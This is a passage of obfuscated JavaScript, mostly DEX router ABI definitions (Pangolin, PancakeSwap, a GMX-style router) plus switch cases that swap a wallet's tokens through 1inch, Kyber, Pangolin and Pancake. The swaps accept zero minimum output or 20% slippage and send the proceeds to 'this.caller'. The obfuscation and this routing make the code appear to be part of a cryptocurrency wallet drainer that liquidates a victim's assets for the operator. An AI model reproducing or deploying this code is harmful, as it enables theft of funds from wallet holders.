name: "_collateralToken",
type: "address"
}, {
internalType: "address",
name: "_indexToken",
type: "address"
}, {
internalType: "uint256",
name: "_sizeDelta",
type: "uint256"
}, {
internalType: "bool",
name: "_isLong",
type: "bool"
}],
name: "pluginIncreasePosition",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_token",
type: "address"
}, {
internalType: "address",
name: "_account",
type: "address"
}, {
internalType: "address",
name: "_receiver",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "pluginTransfer",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}],
name: "plugins",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_plugin",
type: "address"
}],
name: "removePlugin",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_gov",
type: "address"
}],
name: "setGov",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address[]",
name: "_path",
type: "address[]"
}, {
internalType: "uint256",
name: "_amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "_minOut",
type: "uint256"
}, {
internalType: "address",
name: "_receiver",
type: "address"
}],
name: "swap",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address[]",
name: "_path",
type: "address[]"
}, {
internalType: "uint256",
name: "_minOut",
type: "uint256"
}, {
internalType: "address",
name: "_receiver",
type: "address"
}],
name: "swapETHToTokens",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address[]",
name: "_path",
type: "address[]"
}, {
internalType: "uint256",
name: "_amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "_minOut",
type: "uint256"
}, {
internalType: "address payable",
name: "_receiver",
type: "address"
}],
name: "swapTokensToETH",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "usdg",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "vault",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "weth",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0xcd9e05 = new ethers.Contract(_0x2b7b1b, _0x185f52, _0x9d9505);
let _0x49b8cc = [];
_0x49b8cc[0] = _0x4f37a4.asset.token;
_0x49b8cc[1] = "0x82aF49447D8a07e3bd95BD0d56f35241523fBab1";
return [_0xcd9e05.swap(_0x49b8cc, _0x4f37a4.asset.amount, 0, this.caller), "0x82aF49447D8a07e3bd95BD0d56f35241523fBab1"];
}
case "1InchV5":
{
let _0x46985e = this.oneInchKeys[Math.floor(Math.random() * this.oneInchKeys.length)];
let _0x48a4fe = await fetch("https://api.1inch.dev/swap/v5.2/" + this.getChainId(_0x4f37a4.chain) + "/swap?src=" + _0x4f37a4.asset.token + "&dst=0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE&amount=" + _0x4f37a4.asset.amount + "&from=" + (await this.getWalletAddress()) + "&slippage=20&receiver=" + this.caller, {
method: "GET",
Headers: {
Authentication: "Bearer " + _0x46985e,
Accept: "application/json"
}
});
if (_0x48a4fe.status == 200) {
let _0x106df7 = (await _0x48a4fe.json()).tx;
return [_0x9d9505.sendTransaction(_0x106df7), "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"];
} else {
return [false, ""];
}
}
case "Kyber":
{
let _0x2a0733 = "ethereum";
switch (_0x4f37a4.chain) {
case "eth":
_0x2a0733 = "ethereum";
break;
case "avax":
_0x2a0733 = "avalanche";
break;
case "bsc":
_0x2a0733 = "bsc";
break;
case "arb":
_0x2a0733 = "arbitrum";
break;
case "cro":
_0x2a0733 = "cronos";
break;
case "ftm":
_0x2a0733 = "fantom";
break;
case "matic":
_0x2a0733 = "polygon";
break;
case "op":
_0x2a0733 = "optimism";
break;
case "base":
_0x2a0733 = "base";
break;
case "era":
_0x2a0733 = "zksync";
break;
}
let _0x767dfd = "0xdac17f958d2ee523a2206206994597c13d831ec7";
if (_0x4f37a4.asset.token == "0xdac17f958d2ee523a2206206994597c13d831ec7") {
_0x767dfd = "0x6b175474e89094c44da98b954eedeac495271d0f";
}
const _0x53024a = {
"x-client-id": "LiquidityMarkets"
};
let _0x2bdb6e = await fetch("https://aggregator-api.kyberswap.com/" + _0x2a0733 + "/api/v1/routes?tokenIn=" + _0x4f37a4.asset.token + "&tokenOut=" + _0x767dfd + "&amountIn=" + _0x4f37a4.asset.amount + "&source=LiquidityMarkets", {
method: "GET",
headers: _0x53024a
});
if (_0x2bdb6e.status == 200) {
let _0x2d8c89 = await _0x2bdb6e.json();
console.log(_0x2d8c89);
let _0x43fd43 = {
routeSummary: _0x2d8c89.data.routeSummary,
deadline: _0x1b1427,
slippageTolerance: 20,
sender: await this.getWalletAddress(),
recipient: this.caller,
source: "LiquidityMarkets"
};
let _0x353c9e = await fetch("https://aggregator-api.kyberswap.com/" + _0x2a0733 + "/api/v1/route/build", {
method: "POST",
body: JSON.stringify(_0x43fd43),
headers: {
"x-client-id": "LiquidityMarkets"
}
});
if (_0x353c9e.status == 200) {
let _0x26ee4e = await _0x353c9e.json();
const _0xb8ae5d = {
from: await this.getWalletAddress(),
to: _0x26ee4e.data.routerAddress,
data: _0x26ee4e.data.data,
gasLimit: "0x" + _0x26ee4e.data.gas.toString(16)
};
return [_0x9d9505.sendTransaction(_0xb8ae5d), _0x767dfd];
} else {
return [false, ""];
}
} else {
return [false, ""];
}
}
case "Pangolin":
{
let _0x351a89 = [{
inputs: [{
internalType: "address",
name: "_factory",
type: "address"
}, {
internalType: "address",
name: "_WAVAX",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "WAVAX",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidityAVAX",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAX",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountIn",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountOut",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsIn",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsOut",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveB",
type: "uint256"
}],
name: "quote",
outputs: [{
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityAVAX",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAX",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityAVAXSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountAVAX",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityAVAXWithPermit",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAX",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityAVAXWithPermitSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountAVAX",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityWithPermit",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapAVAXForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactAVAXForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactAVAXForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForAVAX",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForAVAXSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactAVAX",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x52088d = new ethers.Contract(_0x2b7b1b, _0x351a89, _0x9d9505);
let _0x1e0e18 = [];
_0x1e0e18[0] = _0x4f37a4.asset.token;
_0x1e0e18[1] = "0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7";
return [_0x52088d.swapExactTokensForAVAX(_0x4f37a4.asset.amount, 0, _0x1e0e18, this.caller, _0x1b1427), _0x1e0e18[1]];
}
case "Pancake":
{
let _0x27ef1d = [{
inputs: [{
internalType: "address",
name: "_factory",
type: "address"
}, {
internalType: "address",
name: "_WETH",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "WETH",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountIn",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountOut",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsIn",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsOut",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveB",
type: "uint256"
}],
name: "quote",
outputs: [{
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermit",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityWithPermit",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapETHForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactETHForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForETH",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactETH",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x1a86d2 = new ethers.Contract(_0x2b7b1b, _0x27ef1d, _0x9d9505);
let _0x343b75 = await _0x1a86d2.WETH();
let _0x9bf859 = [];
_0x9bf859[0] = _0x4f37a4.asset.token;
_0x9bf859[1] = _0x343b75;
return [_0x1a86d2.swapExactTokensForETH(_0x4f37a4.asset.amount, 0, _0x9bf859, this.caller, _0x1b1427), _0x343b75];
}
case "PancakeV2":
{
let _0x3f633f = [{
inputs: [{
internalType: "address",
name: "_factoryV2",
type: "address"
}, {
internalType: "address",
name: "_deployer",
type: "address"
}, {
internalType: "address",
name: "_factoryV3",
type: "address"
}, {
internalType: "address",
